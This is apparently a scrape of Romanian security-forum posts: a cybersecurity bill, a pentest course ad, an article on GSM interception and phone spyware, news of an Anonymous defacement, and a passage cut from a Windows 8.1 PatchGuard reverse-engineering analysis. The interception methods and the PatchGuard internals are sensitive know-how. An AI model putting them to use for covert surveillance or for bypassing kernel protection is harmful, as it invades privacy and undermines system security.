Proiect de lege privind securitatea cibernetic? a României Num?r de înregistrare Senat: L580/2014 Link pentru acces rapid la documentul legislativ: Senatul României - Fi?? senator Adresa: plx263/2014 Prima camer?: Camera Deputa?ilor Tip ini?iativ?: Proiect de lege Ini?iatori: Guvernul României Num?r de articole: 33 Avizul Consiliului Legislativ: 513/05.05.2014 Procedura de urgen??: Nu Stadiu: în lucru, la comisiile permanente ale Senatului Caracterul legii: Organic? Opiniile persoanelor interesate asupra propunerilor legislative aflate în consultare public?: Opinii trimise Derularea procedurii legislative: Data Ac?iunea 16-09-2014 adoptat de Camera Deputa?ilor 19-09-2014 Înregistrat la Senat pentru dezbatere cu nr.b513 (adresa nr.plx263/16/09/2014) 22-09-2014 cu nr.L580 prezentare în Biroul permanent; Senatul este Camer? decizional? 22-09-2014 trimis pentru raport la Comisia pentru ap?rare, ordine public? ?i siguran?? na?ional? (TERMEN: 24/09/2014) - adresa de înaintare a ini?iativei legislative pentru dezbatere - forma ini?iatorului - expunerea de motive la ini?iativa legislativ? - avizul Consiliului Legislativ - hot?rârea de Guvern - adresa prin care ini?iativa legislativ? e transmis? la cealalt? Camer? spre dezbatere - forma adoptat? de Camera Deputa?ilor Adoptata de Camera Depulatilor: http://www.senat.ro/legis/PDF%5C2014%5C14L580FC.pdf Sursa: Senatul României - Fi?? senator

Si cine va implementa asa ceva?

https://www.techdirt.com/articles/20130723/12395923907/even-powering-down-cell-phone-cant-keep-nsa-tracking-its-location.shtml FBI taps cell phone mic as eavesdropping tool - CNET News

The main focus of this course is to teach you the following skills: Gather Information Intelligence Find Web Applications and System Security Vulnerabilities Scan Your Target Stealthily Exploit Web Applications and System Vulnerabilites Conduct Real World Client Side Attacks Conduct Tactical Post Exploitation on Windows and Linux Systems Develop Windows Exploits [h=3]The Course[/h] The course covers 8 modules: Module 1: Solid Introduction to Penetration Testing Module 2: Real World Information Intelligence Techniques Module 3: Scanning and Vulnerability Assessment Module 4: Network Attacking Techniques Module 5: Windows – Unix Attacking Techniques Module 6: Windows – Unix Post-exploitation Techniques Module 7: Web Exploitation Techniques Module 8: Windows Exploit Development Am gasit aici: CODENAME: Samurai Skills - Real World Penetration Testing Training - Darknet - The Darkside Pare interesant.

Pentru cei interesati: OpenBTS | Open Source Cellular Infrastructure

https://stuk.github.io/jszip/ https://gildas-lormeau.github.io/zip.js/ https://github.com/43081j/rar.js/ https://github.com/beatgammit/gzip-js https://github.com/abraidwood/minilzo-js https://github.com/nmrugg/LZMA-JS

Acultarea telefoanelor a devenit, în România, sport na?ional. Nu exist? dosar “serios” f?r? kilometri de stenograme. Dar aceasta este doar partea vizibil? a fenomenului, legal?, cu intercept?ri autorizate de un judec?tor ?i realizate din central?. Telefoanele sunt ascultate ?i localizate ?i în mod direct, f?r? ca operatorul GSM s? ?tie sau s? î?i dea acordul, de c?tre institu?ii, de servicii secrete, de oameni de afaceri sau de so?i gelo?i. Practic, aproape oricine î?i poate achizi?iona de pe pia?a neagr? aparatur? sau aplica?ii software ce pot fi folosite în acest scop. Achizi?ionarea unora dintre ele nici m?car nu este ilegal?. Exist? ?i metode de contracarare a intercept?rii convorbirilor, mai mult sau mai pu?in eficiente, fiecare dintre ele cu o serie de avantaje ?i dezavantaje. Important e s? ?tim, îns?, care sunt metodele prin care ni se poate viola intimitatea, în zona comunica?iilor mobile. Interceptorul – un fals releu GSM Re?eaua GSM a unui operator poate fi asem?nat? cu o plas? de sârm?. “Nodurile” sunt BTS-urile. Mai pe române?te, antenele sau releeele GSM. Telefonul se conecteaz? la BTS-ul în raza c?ruia de ac?iune se afl?. În cazul în care recep?ioneaz? mai multe relee, se conecteaz? la cel care are semnalul cel mai puternic. Exact de acest lucru se folosesc aparatele care intercepteaz? convorbirile telefonice. Interceptorul este, de fapt, un BTS fals. Este adus aproape, la câteva sute de metri de locul în care se afl? telefonul ce trebuie interceptat. Interceptoarele mai noi folosesc ?i o tehnic? numit? manipulare BCCH, prin care transmit c? nivelul semnalului pe care îl emit este foarte mare, de zeci de ori mai puternic decât în realitate. Este de ajuns, pentru a “p?c?li” telefoanele, c? acesta este BTS-ul cu cel mai bun semnal din zon?. Evident, a?a cum au fost “înv??ate”, se vor conecta la el. Interceptorul are, bineîn?eles, ?i o leg?tur? cu un releu real al operatorului GSM. Doar c?, din acest moment, toate convorbirile vor trece, mai întâi, pe aici, unde pot fi ascultate sau înregistrate. Anularea cript?rii În mod normal, transmiterea datelor de la telefon la BTS se face codat, prin intermediul unui algoritm de criptare. Operatorii GSM, de?i au anun?at în permanen?? c? î?i îmbun?t??esc nivelul de securitate, nu au progresat foarte mult în aceast? zon?. Oricum, modul de criptare este stabilit, îns?, de BTS, nu de telefon. În momentul în care telefonul este conectat la re?ea prin filtrul unui interceptor, acesta îi cere s? nu cripteze transmisia sau s? foloseasc? un protocol ceva mai vechi, mult mai u?or de decodat. În mod normal, telefoanele ar trebui s? afi?eze un semnal de alarm? în momentul în care nu este folosit? func?ia de criptare standard. Aceast? func?ie este, îns?, anulat? de c?tre operatorii de telefonie. Motivul, evident neoficial, este c? astfel sunt protejate ac?iunile autorit??ilor ?i ale serviciilor secrete, evitâdu-se deconspirarea acestora. Problema apare, îns?, în momentul în care este folosit un telefon în re?eaua 3G, unde decriptarea este extrem de anevoioas?, dac? nu imposibil?. Produc?torii de aparatur? de interceptare au g?sit solu?ii ?i la aceast? problem?. Pe frecven?ele 3G este emis un semnal de bruiaj, extrem de puternic. Dac? telefonul este setat doar pe 3G, va r?mâne f?r? semnal ?i nu va mai putea fi folosit. Dac? este setat în mod dual, 2G/3G, a?a cum se întâmpl? de obicei, telefonul va crede c? nu are semnal pe 3G ?i va comuta, automat, pe 2G. La comanda interceptorului, iconi?a de pe ecranul aparatului va indica tot recep?ie 3G, pentru a nu fi alertat posesorul acestuia. Categorii de interceptoare Interceptoarele pot fi grupate în trei mari categorii: active, semiactive ?i pasive. Cele active se comport? identic BTS-urilor, cu singura diferen?? legat? de eliminarea cript?rii. Ele identific? permanent telefoanele ce intr? în raza sa de ac?iune. În momentul intr?rii în func?iune a interceptorului, toate telefoanele din zona respectiv? se vor conecta, automat, la el. Se ?tie, îns?, c? fiecare telefon are o amprent? unic?, pe baza c?reia poate fi identificat. Este vorba despre IMEI (International Mobile Station Equipment Identity), un cod unic, format din 15 cifre. Pe baza acestui cod, operatorul interceptorului poate filtra convorbirile, astfel încât s? se concentreze doar asupra telefonului vizat. Pentru cei care fac asemenea opera?iuni în mod ilegal, acestea sunt ?i cele mai riscante. Pot fi detectate atât de operatorul GSM, care poate remarca o perturbare a traficului comunica?iilor din zon?, cât ?i de c?tre utilizatorii experimenta?i, în special de cei care folosesc aparatur? antiinterceptare. Aparatele semiactive emit doar pân? în momentul în care identific? telefonul, îl localizeaz? ?i calculeaz? cheia de criptare, dup? care trec în mod de recep?ie, pentru a nu fi detectate. Exist? ?i interceptoare pasive, care, sus?in produc?torii, sunt aproape imposibil de detectat. Numai c? acestea pot fi folosite în mod limitat, pentru telefoane care nu-?i schimb? pozi?ia, iar leg?tura se poate pierde ?i din alte motive, cum ar fi supraînc?rcarea BTS-urilor cele mai apropiate. Spy Interceptor Cea mai ieftin? solu?ie de interceptare ?i, totodat?, la îndemâna oricui, r?mâne instalarea unui program software în telefonul-?int?. Asemenea programe se vând la liber, pe internet, ?i au pre?uri cuprinse între câteva zeci de euro ?i câteva mii. Unele sunt, teoretic, pentru controlarea aparatului telefonic, în cazul în care este furat, altele pentru backup. Ele ruleaz? în fundal, sunt nedetectabile ?i permit controlul total al telefonului de la distan??, de pe un alt telefon cu num?r predefinit. Un soft de acest gen, care cost? sub 500 de euro, poate intercepta convorbirile, realiza intercept?ri ambientale, poate localiza telefonul-?int? prin GPS sau în func?ie de re?elele GSM din zon?, poate prelua SMS-uri sau efectua fotografii. Pân? ?i înc?rcarea cartelei pre-pay se poate face de la distan??, f?r? ca posesorul telefonului s? fie în?tiin?at în vreun fel. Acest procedeu este folosit în special de c?tre persoane particulare, care vor s?-?i supravegheze so?i/so?ii, dar ?i de unele firme care doresc s? aib? control total asupra angaja?ilor ?i le ofer? telefoane de serviciu astfel “preparate”. Licen?a pentru un soft de acest fel este, de obicei, nelimitat? în timp. Apelurile ?i SMS-urile “t?cute” Interceptoarele folosesc, extrem de mult, func?iile telefonului, dar f?r? ca proprietarul s? ?tie de acest lucru. Principala func?ie a unui “silent call” este interceptarea ambiental?. Altfel spus, folosirea microfonului telefonului-?int? pentru a asculta ce se petrece în jurul lui. Este ca ?i cum ar suna la num?rul respectiv ?i cineva i-ar r?spunde. De fapt, asta se ?i întâmpl?, doar c? tocmai telefonul este cel care-i r?spunde. În acela?i mod func?ioneaz? ?i SMS-urile invizibile. Acestea sunt folosite de c?tre operatorul care intercepteaz?, pentru a transmite diferite comenzi telefonului. Cunoscute ?i ca Flash SMS, aceste mesaje invizibile au fost folosite ini?ial de c?tre operatorii GSM pentru a-?i testa re?elele sau pentru a verifica dac? anumite telefoane sunt deschise ?i conectate, f?r? ca abona?ii s? fie deranja?i. Ulterior, metoda a fost preluat? de Poli?ie ?i servicii secrete, pentru a localiza un telefon în timp real. Exist? chiar ?i o discu?ie ce n-a ajuns la vreo concluzie, pentru c? anumite institu?ii sus?in c? folosirea acestor SMS-uri pentru localizare nu trebuie aprobat? de un judec?tor, pentru c? nu încalc? secretul comunica?iilor. Serviciile secrete folosesc SMS-urile invizibile în mai multe moduri: un num?r mare de mesaje trimise c?tre un telefon îi poate bloca acestuia semnalul sau îi poate consuma bateria în mod accelerat. Instrumente anti-interceptare Pe pia?? au fost scoase o serie de dispozitive care, sus?in cei care le vând, fac imposibil? interceptarea. Unele au ceva rezultate, altele sunt marketing pur. Telefonul cu IMEI dinamic. Este metoda cea mai sigur?, spun cei din domeniu. Automat sau manual, telefonul î?i poate schimba IMEI-ul, astfel c? interceptorul înregistreaz? dispari?ia sa ?i apari?ia unui alt telefon în re?ea. Pe deasupra, telefonul mai are o serie de elemente pe care le afi?eaz? în momentul în care detecteaz? c? ceva nu este în regul? ?i exist? posibilitatea s? fie interceptat. Alte func?ii utile ar fi detectarea ping-urilor de localizare a telefonului, detectarea silent-call-urilor (apelurile de interceptare ambiental?), protec?ie la perchezi?ia electronic?, ?tergerea automat? a istoricului apelurilor ?i SMS-urilor sau înregistrarea automat? a con?inutului audio a convorbirilor telefonice pentru o eventual? contra dovad? în cazul mistific?rii sau modific?rii probei audio, spun produc?torii. Telefoanele criptate. Este o solu?ie de comunicare între dou? aparate telefonice ce au instalate chei de criptare greu de spart. De regul?, îns?, folosirea unor astfel de aparate nu face decât s? atrag? aten?ia, iar serviciile de informa?ii au destule posibilit??i s? blocheze func?ionarea acestora, iar interceptarea s? fie f?cut? prin alte metode. GSM box. Sunt aparate care detecteaz? apelurile sau SMS-urile t?cute ?i îl avertizeaz? pe proprietar. Pot fi folosite împotriva încerc?rilor de interceptare ambiental?. Dar nu pot împiedica interceptarea convorbirilor, a?a cum sus?in, în mod fals, cei care le comercializeaz?. Husele antiinterceptare. Pot fi folositoare, în sensul c? blocheaz? orice semnal de la sau c?tre telefon. Doar c? telefonul nu poate fi folosit în niciun fel în acest timp. Mai r?mâne scoaterea bateriei din telefon. Dar nici m?car aceast? metod? nu este sigur?. Documenta?ia de specialitate arat? c? nu e nevoie nici de curent în telefon pentru a fi ascultat. Prin bombardarea cu microunde de o anumit? frecven??, microfonul va rezona inclusiv modula?iile de voce pe care le percepe. Metoda pare s? fi fost descoperit? de un rus ?i folosit?, la un moment dat, se spune, pentru ascultarea ambasadorului american la Moscova. Prin urmare, telefon ?i intimitate par s? fie doi termeni care nu pot fi al?tura?i. Stiri de ultima ora - ultimele stiri online - ZiuaNews.ro Sursa: Cine ?i cum ne intercepteaz? telefoanele | Lupul Dacic

Si uite asa incepe declinul Facebook. In sfarsit.

http://img-9gag-lol.9cache.com/photo/aBQWRVQ_460sa_v1.gif

CipherShed is free (as in free-of-charge and free-speech) encryption software for keeping your data secure and private. It started as a fork of the now-discontinued TrueCrypt Project. Learn more about how CipherShed works and the project behind it. CipherShed is cross-platform; It will be available for Windows, Mac OS and GNU/Linux. The CipherShed project is open-source, meaning the program source code is available for anyone to view. We encourage everyone to examine and audit our code, as well as encourage new ideas and improvements. We have several methods of communication for anyone to ask questions, get support, and become involved in the project. For more detailed information about the project, including contributing code and building from source, please visit our technical wiki. Sursa: https://ciphershed.org/

Site-ul IGPR, spart de Anonymous România, care a afi?at mesajul "Salut?ri din partea ciumpalacilor" de Andrei Dumitrescu - Mediafax Site-ul Poli?iei Române a fost spart de o grupare de hackeri care se recomand? "Anonymous România" ?i care a afi?at, la sec?iunea ?tiri, un mesaj cu titlul "Salut?ri din partea ciumpalacilor". Site-ul IGPR, spart de Anonymous România, care a afi?at mesajul "Salut?ri din partea ciumpalacilor" Pe prima pagin? a site-ului Inspectoratului General al Poli?iei Române (IGPR), la sec?iunea ?tiri, a fost postat vineri un mesaj care ar avea ca autor "Anonymous România". "V? salut?m domnilor. Noi suntem Anonymous. Noi suntem Legiunea. Noi suntem POPORUL ROMÂN sau desigur ciumpalacii. România, treze?te-te!". În februarie 2012, site-ul FMI.ro al Biroului Fondului Monetar Interna?ional în România a fost atacat de hackeri care se recomandau ca reprezentând mi?carea Anonymous ?i gruparea Antisec, la dou? zile dup? un atac similar asupra ANRE.ro. Site-ului era în mare parte func?ional, mai pu?in pagina de pornire, care a fost înlocuit? cu aceea?i secven?? video de un minut de pe YouTube afi?at? pe site-ul Agen?iei Na?ionale de Reglementare în domeniul Energiei (ANRE), înso?it? de mesajul "Hacked by Anonymous". Anonymous a postat atunci pe site-ul ANRE un videoclip de un minut, în care pe fond muzical apare We Are Anonymous, Antisec, care se încheie cu mesajul "Expect us". La sfâr?itul lunii mai 2012, DIICOT anun?a c? a anihilat gruparea Anonymous care accesa ilegal bazele de date ale unor institu?ii. Anchetatorii au f?cut atunci perchezi?ii la locuin?elor a 12 persoane din Bucure?ti, Ia?i, Alba-Iulia, Piatra Neam?, Cluj-Napoca, Drobeta-Turnu Severin, Arad, Craiova, Re?i?a ?i Târgu Mure?. DIICOT precizat c? gruparea infrac?ional? era constituit? din 14 persoane, cunoscut? sub denumirea Anonymous România. Liderul grup?rii a fost identificat ca fiind Gabriel B?l?neasa, atunci în vârst? de 24 de ani, din municipiul Piatra Neam?, cunoscut în mediul virtual cu nickname-urile "lulzcart, anonsboat, anonsweb, cartman". Acesta, împreun? cu Fábián Gábor ?i Pico? Mihai Emil, ar fi constituit gruparea, la care au aderat ?i alte persoane, implicat? în agresiunile de terorism cibernetic sub numele Anonymous România. Potrivit DIICOT, Anonymous România a desf??urat o vast? activitate infrac?ional? specific?, de criminalitate informatic?, ce a constat în accesarea ilegal? a sistemelor informatice, sustragerea de date confiden?iale sau nedestinate publicit??ii, precum ?i publicarea în mediul on-line a datelor exfiltrate. Bazele de date confiden?iale sau clasificate vizate erau administrate de institu?ii ?i persoane juridice publice, atât din România cât ?i din str?in?tate. Din punct de vedere tehnic ?i al modalit??ii concrete de operare, atacurile informatice lansate asupra serverelor ?i paginilor web ?int?, erau de tip SQL Injection, prin folosirea unor diferite aplica?ii informatice, respectiv Havij, SQL Map etc. În majoritatea cazurilor, dup? compromiterea ?i ob?inerea accesului neautorizat la site-urile vizate, membrii grup?rii aduceau modific?ri datelor informatice, executând atacuri de tip "Deface", constând în introducerea unei pagini web în locul paginii principale a site-ului, modificare care consta în general în postarea anumitor mesaje, link-uri ?i imagini prin care se revendica atacul ?i se promova gruparea de hackeri Anonymous România, preciza atunci DIICOT. Atacurile erau lansate în scopul ob?inerii de date informatice, date care erau dup? caz copiate sau transferate f?r? drept ?i publicate ulterior în mediul virtual pe diverse site-uri, ca dovad? a activit??ii de hacking. Membrii grup?rii au procedat astfel la lansarea de atacuri informatice asupra unui num?r de 29 de site-uri, p?trunderea neautorizat? în respectivele infrastructuri informa?ionale realizându-se prin înc?lcarea m?surilor de securitate implementate la nivelul serverelor care g?zduiau site-urile web ?int?. Activitatea infrac?ional? a dus la compromiterea total? sau par?ial? a paginilor ?i domeniilor de internet vizate, generând costuri semnificative în vederea recuper?rii datelor ?i implement?rii de noi m?suri de securitate, mai ar?ta DIICOT. Gruparea Anonymous este format? din persoane care se descriu drept lupt?tori pentru libertatea Internetului ?i au atacat în trecut mai multe site-ui, printre care ale Bisericii Scientologice, Amazon, Mastercard ?i alte altor companii, precum ?i ale unor guverne. NATO consider? gruparea Anonymous o amenin?are pentru alian?a militar?. Sursa: Site-ul IGPR, spart de Anonymous România, care a afi?at mesajul "Salut?ri din partea ciumpalacilor" - Mediafax

L-a testat cineva? Ce s-a putea face practic: cookie stealing.

Interesant. Cred. Nu stiu cat de utile sunt noile functionalitati... Arata dubios: auto match_name = [&name](const record& r) -> bool { return r.name == name; };

Microsoft Windows 8.1 Kernel Patch Protection Analysis & Attack Vectors Kernel Patch Protection (also known as "patchguard") is a Windows mechanism designed to control the integrity of vital code and data structures used by the operating system. It was introduced in Windows 2003 x64 and has been constantly improved in further Windows versions. In this article we present a descriptive analysis of the patchguard for the latest Windows 8.1 x64 OS, and primarily focus on patchguard initialization and attack vectors related to it. It is natural that kernel patch protection is being developed incrementally, so the initialization process is common for all versions of Windows that have patchguard. There are a lot of papers published about kernel patch protection on Windows, which describe the process of its initialization, so you may use references at the end of this article to obtain details. Initialization sources As widely known, the main component of patchguard is initialized in a misleadingly named function "KiFilterFiberContext". It will be the starting point of our investigation. Looking for cross-references doesn't help us much for pointing out its call site, but several articles help us by stating that patchguard initialization is called indirectly in a function "KeInitAmd64SpecificState". By indirectly we mean here not just an indirect call, but the usage of exception handlers. It is a very common trick often found in patchguard-related functions, as we'll see further. So, we have an initialization function call stack: [FONT=Courier New] (call) (call) (exception)[/FONT][FONT=Courier New]... --> Phase1InitializationDiscard --> ; KeInitAmd64SpecificState -> KiFilterFiberContext[/FONT] This type of initialization is described in more detail in [1]. By the way, this one is always called on the last CPU core, if it matters. However, it is not the only way that kernel uses to initialize patchguard. With a 4% probability patchguard context can also be initialized from a function also misleadingly called "ExpLicenseWatchInitWorker": [FONT=Courier New]... --> Phase1InitializationDiscard --> sub_14071815C (obviously with a stripped symbol because this one processes Windows license type for a current PC) --> ExpLicenseWatchInitWorker[/FONT] The pseudocode of this function looks like this: VOID ExpLicenseWatchInitWorker() { PVOID KiFilterParam; NTSTATUS (*KiFilterFiberContext)(PVOID pFilterparam); BOOLEAN ForgetAboutPG; // KiServiceTablesLocked == KiFilterParam KiFilterParam = KiInitialPcr.Prcb.HalReserved[1]; KiInitialPcr.Prcb.HalReserved[1] = NULL; KiFilterFiberContext = KiInitialPcr.Prcb.HalReserved[0]; KiInitialPcr.Prcb.HalReserved[0] = NULL; ForgetAboutPG = (InitSafeBootMode != 0) | (KUSER_SHARED_DATA.KdDebuggerEnabled -> -> 1); // 96% of cases will fail if ( __rdtsc() % 100 -> 3 ) ForgetAboutPG |= 1; if ( !ForgetAboutPG && KiFilterFiberContext(KiFilterParam) != 1 ) KeBugCheckEx(SYSTEM_LICENSE_VIOLATION, 0x42424242, 0xC000026A, 0, 0); } As you may notice, there is a small "present" in the “HalReserved” processor control block field left for this initialization case. Tracing down the guy who left it leads us to the very beginning of system startup: [FONT=Courier New]... --> KiSystemStartup --> KiInitializeKernel --> KeCompactServiceTable --> KiLockServiceTable -v ??????[/FONT] We have to pause here, because there is no code that puts data into HalReserved fields directly. As instead, it is done using the exception handler. And it is done in a different way from "KeInitAmd64SpecificState", because it doesn't trigger any exceptions. What it does instead is – it directly looks up the current instruction pointer, finds the corresponding function and it's exception handler manually, and then calls it. The exception handler of "KiLockServiceTable" function is an unnamed stub to the "KiFatalExceptionFilter". [FONT=Courier New]?????? ---> KiFatalExceptionFilter[/FONT] “KiFatalExceptionFilter” in turn looks up an exception handler for "KiServiceTablesLocked" function. And surprisingly it is the "KiFilterFiberContext"! Also, a parameter that is passed to "KiFilterFiberContext" is located right after the "KiServiceTablesLocked" function. It is a small structure: typedef struct _KI_FILTER_FIBER_PARAM { NTSTATUS (*PsCreateSystemThread)(); // a pointer to PsCreateSystemThread function KSTART_ROUTINE sub_140235C44; // unnamed checker subroutine KDPC KiBalanceSetManagerPeriodicDpc; // global DPC struct } KI_FILTER_FIBER_PARAM, *PKI_FILTER_FIBER_PARAM; "KiFatalExceptionFilter" stores these pointers to “HalReserved” fields. Creating patchguard context Let's get back to the "KiFilterFiberContext" function. It's pseudocode is given below: BOOLEAN KiFilterFiberContext(PVOID pKiFilterParam) { BOOLEAN Result = TRUE; DWORD64 dwDpcIdx1 = __rdtsc() % 13; DWORD64 dwRand2 = __rdtsc() % 10; DWORD64 dwMethod1 = __rdtsc() % 6; AntiDebug(); // Let's call sub_1406D6F78 KiInitializePatchGuardContext since it does initialize patchguard context Result = KiInitializePatchGuardContext(dwDpcIdx, dwMethod1, (dwRand2 < 6) + 1, pKiFilterParam, TRUE); // A 50% chance to create two patchguard contexts if (dwRand2 < 6) { DWORD64 dwDpcIdx2 = __rdtsc() % 13; DWORD64 dwMethod2 = __rdtsc() % 6; do { dwMethod2 = __rdtsc() % 6; } while ((dwMethod1 != 0) && (dwMethod1 == dwMethod2)); Result = KiInitializePatchGuardContext(dwDpcIdx2, dwMethod2, 2, pKiFilterParam, FALSE); } AntiDebug(); return Result; } It is rather clear, and with provided code we can assume that up to 4 patchguard contexts can be active on a running system simultaneously. Remember this one because wherever it is called, we can be 100% sure that a new patchguard context is being initialized. The function that creates and initializes patchguard context is so-called "KiInitializePatchGuardContext". It is a huge obfuscated function. I guess it is suitable to reference Alex's Ionescu tweet about it: "I love the new #Windows 8 Patch Guard. Fixes so many of the obvious holes in downlevel, and the new hyper-inlined obfuscation makes me cry." You bet it! IDA Pro's decompiler works on it ~20 min on 3770 Core i7 CPU and spews out 26K lines of code. It is not worth dealing with it as a single unit. Luckily, you can bite out small pieces of information that give you a clue about methods that the new patchguard uses. That's why we did not reverse engineer it entirely, as instead we took and analyzed several parts in it. Feel free to explore this function yourself, and you may discover new wonderful things! It takes 5 parameters on Windows 8.1: 1. Index of DPC routine to be called from a created patchguard DPC for checking the patchguard context. It may be one of these: // These ones don't use exception handlers to fire checks KiTimerDispatch (copied to random pool allocation) KiDpcDispatch (copied into patchguard context) // These use exception handlers to fire patchguard checks ExpTimerDpcRoutine IopTimerDispatch IopIrpStackProfilerTimer PopThermalZoneDpc CmpEnableLazyFlushDpcRoutine CmpLazyFlushDpcRoutine KiBalanceSetManagerDeferredRoutine ExpTimeRefreshDpcRoutine ExpTimeZoneDpcRoutine ExpCenturyDpcRoutine Also those 10 DPCs are regular system DPCs with useful payload, but when they encounter a DeferredContext which has non-canonical address, they fire a corresponding KiCustomAccessRoutine function. These functions are only called when an appropriate scheduling method is used (0, 1, 2, 5) 2. Scheduling method: These are the methods that are used to fire a patchguard DPC object that is created inside "KiInitializePatchGuardContext" function. KeSetCoalescableTimer (0). A timer object is created with a random fire period between 2 minutes and 2 minutes and 10 seconds. Prcb.AcpiReserved (1). In this case a patchguard DPC is fired when a certain ACPI event occurs, f.e. transitioning to idle state. In this case "HalpTimerDPCRoutine" checks if 2 minutes have passed since last queued by itself DPC, and queues another one, taken from Prcb.AcpiReserved field. Prcb.HalReserved (2). Here a patchguard DPC is queued when HAL timer clock interrupt occurs, in the "HalpMcaQueueDpc". It is also done with 2 minutes period at least. Queued patchguard DPC is taken from Prcb.HalReserved field. PsCreateSystemThread (3). In this case, patchguard DPC routine is not used, as instead a system thread is created. The thread procedure is taken from KI_FILTER_FIBER_PARAM structure. Patchguard DPC in turn is used just as a container of the address of a newly created patchguard context. KeInsertQueueApc (4). This time a regular kernel APC is queued to the one of the system threads with "KiDispatchCallout" APC procedure. No patchguard DPC is fired also. System thread is chosen based on its start address, i.e. it must be equal to either PopIrpWorkerControl or CcQueueLazyWriteScanThread. KiBalanceSetManagerPeriodicDpc (5). Patchguard DPC is stored in a global variable named "KiBalanceSetManagerPeriodicDpc". It is queued in "KiUpdateTimeAssist" function and "KeClockInterruptNotify" function within every "KiBalanceSetManagerPeriod" ticks. 3. This parameter can be either 1 or 2. We are not sure about how it affects "KiInitializePatchGuardContext" function, but it is somehow connected to the quantity of checks being done during patchguard context verification routine execution. 4. A pointer to KI_FILTER_FIBER_PARAM structure. It is noticeable that a method chosen inside "KiInitializePatchGuardContext" is selected based on the presence of this parameter. If it is present, a method bit mask is tested with 0x29 (101001b) which allows methods 0, 3 and 5. Otherwise methods 0, 1, 2 and 4 are available. That makes sense, because methods 3 and 5 require a valid KI_FILTER_FIBER_PARAM structure. 5. Boolean parameter which tells if NT kernel functions checksums have to be recalculated. As you might guess, the only scheduling method that can be initialized twice is 0, so "KiFilterFiberContext" takes this fact into account when chooses a method for a second call of "KiInitializePatchGuardContext". Firing a patchguard check Methods that fire patchguard DPC The main principle of patchguard check routine is to launch a patchguard context verification routine on a DPC level, and then queue a work item that will check vital system structures on a passive level with a proceeding context recreation and rescheduling. The verification work item uses a copy of "FsRtlUninitializeSmallMcb" function. You can check this one out, if you want to figure out how the check works. For the methods which use DPC activation there is a common code inside 10 listed DPC routines, which checks "DeferredContext" for being a non-canonical address. If it is OK, DPC just executes its payload. Otherwise one of 10 "KiCustomAccessRoutineX" functions is called. When "KiCustomAccessRoutineX" is called, (last 2 bits + 1) of "DeferredContext" are taken and used to roll along "KiCustomRecurseRoutineX". These recursive routines are cycled incrementing X value. When the roll is over, "KiCustomRecurseRoutineX" tries to dereference a DeferredContext value as a pointer, which inevitably generates #GP exception since this address is non-canonical. // Inside DPC routine if ( (DeferredContext >> 47) < 0xFFFFFFFFFFFFFFFFui64 && DeferredContext >> 47 != 0 ) // Is DeferredContext a canonical address { ... KiCustomAccessRoutineX(DeferredContext); ... } void KiCustomAccessRoutine9(DWORD64 DeferredContext) { return KiCustomRecurseRoutine9((DeferredContext & 3) + 1, DeferredContext); } void KiCustomRecurseRoutine9(DWORD dwRoll, DWORD64 DeferredContext) { DWORD dwNextRoll; DWORD64 go_go_GP; dwNextRoll = dwRoll - 1; if ( dwNextRoll ) KiCustomRecurseRoutine0(dwNextRoll, DeferredContext); Microsoft Windows 8.1 Kernel Patch Protection Analysis Page 11 / 18 go_go_GP = *DeferredContext; // #GP } // DPC routine call sequence ExpTimerDpcRoutine -> KiCustomAccessRoutine0 -> KiCustomRecurseRoutine0 ... KiCustomRecurseRoutineN IopTimerDispatch -> KiCustomAccessRoutine1 -> KiCustomRecurseRoutine1 ... KiCustomRecurseRoutineN IopIrpStackProfilerTimer -> ; KiCustomAccessRoutine2 -> KiCustomRecurseRoutine2 ... KiCustomRecurseRoutineN PopThermalZoneDpc -> KiCustomAccessRoutine3 -> KiCustomRecurseRoutine3 ... KiCustomRecurseRoutineN CmpEnableLazyFlushDpcRoutine -> KiCustomAccessRoutine4 -> KiCustomRecurseRoutine4 ... KiCustomRecurseRoutineN CmpLazyFlushDpcRoutine -> KiCustomAccessRoutine5 -> KiCustomRecurseRoutine5 ... KiCustomRecurseRoutineN KiBalanceSetManagerDeferredRoutine -> KiCustomAccessRoutine6 -> KiCustomRecurseRoutine6 ... KiCustomRecurseRoutineN ExpTimeRefreshDpcRoutine -> KiCustomAccessRoutine7 -> KiCustomRecurseRoutine7 ... KiCustomRecurseRoutineN ExpTimeZoneDpcRoutine -> KiCustomAccessRoutine8 -> KiCustomRecurseRoutine8 ... KiCustomRecurseRoutineN ExpCenturyDpcRoutine -> KiCustomAccessRoutine9 -> KiCustomRecurseRoutine9 ... KiCustomRecurseRoutineN Here comes vectored exception handling again. If you look up all the exception handlers for these DPC routines, you'll discover that there are several nested __try\__except and __try\__finally blocks. For example, "ExpTimerDpcRoutine" looks something like this: ... __try { __try { __try { __try { KiCustomAccessRoutine0(DeferredContext); } __finally { FinalSub1(); } } __except (FilterSub1()) // patchguard context decryption occurs here { // Nothing } } __finally { FinalSub2(); } } __except (FilterSub2()) { // Nothing } ... ExpCenturyDpcRoutine, ExpTimeZoneDpcRoutine, ExpTimeRefreshDpcRoutine, KiBalanceSetManagerDeferredRoutine, CmpLazyFlushDpcRoutine, CmpEnableLazyFlushDpcRoutine, PopThermalZoneDpc, ExpTimerDpcRoutine … -> _C_specific_handler IopIrpStackProfilerTimer , IopTimerDispatch … -> _GSHandlerCheck_SEH (GS check + _C_specific_handler) Depending on the DPC routine, decryption routine (based on KiWaitAlways and KiWaitNever variables) may reside in one of the exception filters, exception handlers or termination handlers. Further patchguard context verification occurs also inside decryption routine, right after the decryption. As for "KiTimerDispatch" and "KiDpcDispatch" DPC routines - they call patchguard context verification directly. Also, depending on the DPC routine a different type of patchguard context encryption is used (or not used at all). Other methods Method 3 creates a system thread. System thread procedure sleeps between 2 minutes and 2 minutes and 10 seconds using "KeDelayExecutionThread" or "KeWaitForSingleObject" on a kernel object, which is always not signaled. After the wait is timed out it decrypts patchguard context and executes verification routine. Method 4 inserts an APC with "KiDispatchCallout" function as a kernel routine and "EmpCheckErrataList" as a normal routine. Patchguard context decryption and validation occurs upon APC delivery to the target waiting thread, which happens almost immediately. A 2 minutes wait is located inside the verifier work item routine in this method. One more piece of a puzzle That would be it about patchguard initialization, but looking for the cross-references to KUSER_SHARED_DATA.KdDebuggerEnabled lead me to a suspicious function named "CcInitializeBcbProfiler". It is full of bit rotations and magic numbers, which forced me to check whether it is related to patchguard mechanism. [FONT=Courier New]... -> Phase1InitializationDiscard --> CcInitializeCacheManager --> CcInitializeBcbProfiler[/FONT] It seems to have the same roots! With 50% chance it queues DPC with "CcBcbProfiler" routine or a work item with an unnamed work item routine (which is almost identical to the "CcBcbProfiler" routine). This mechanism picks one random function from NT kernel module and checks its consistency every 2 minutes. It is interesting that all of the patchguard-related 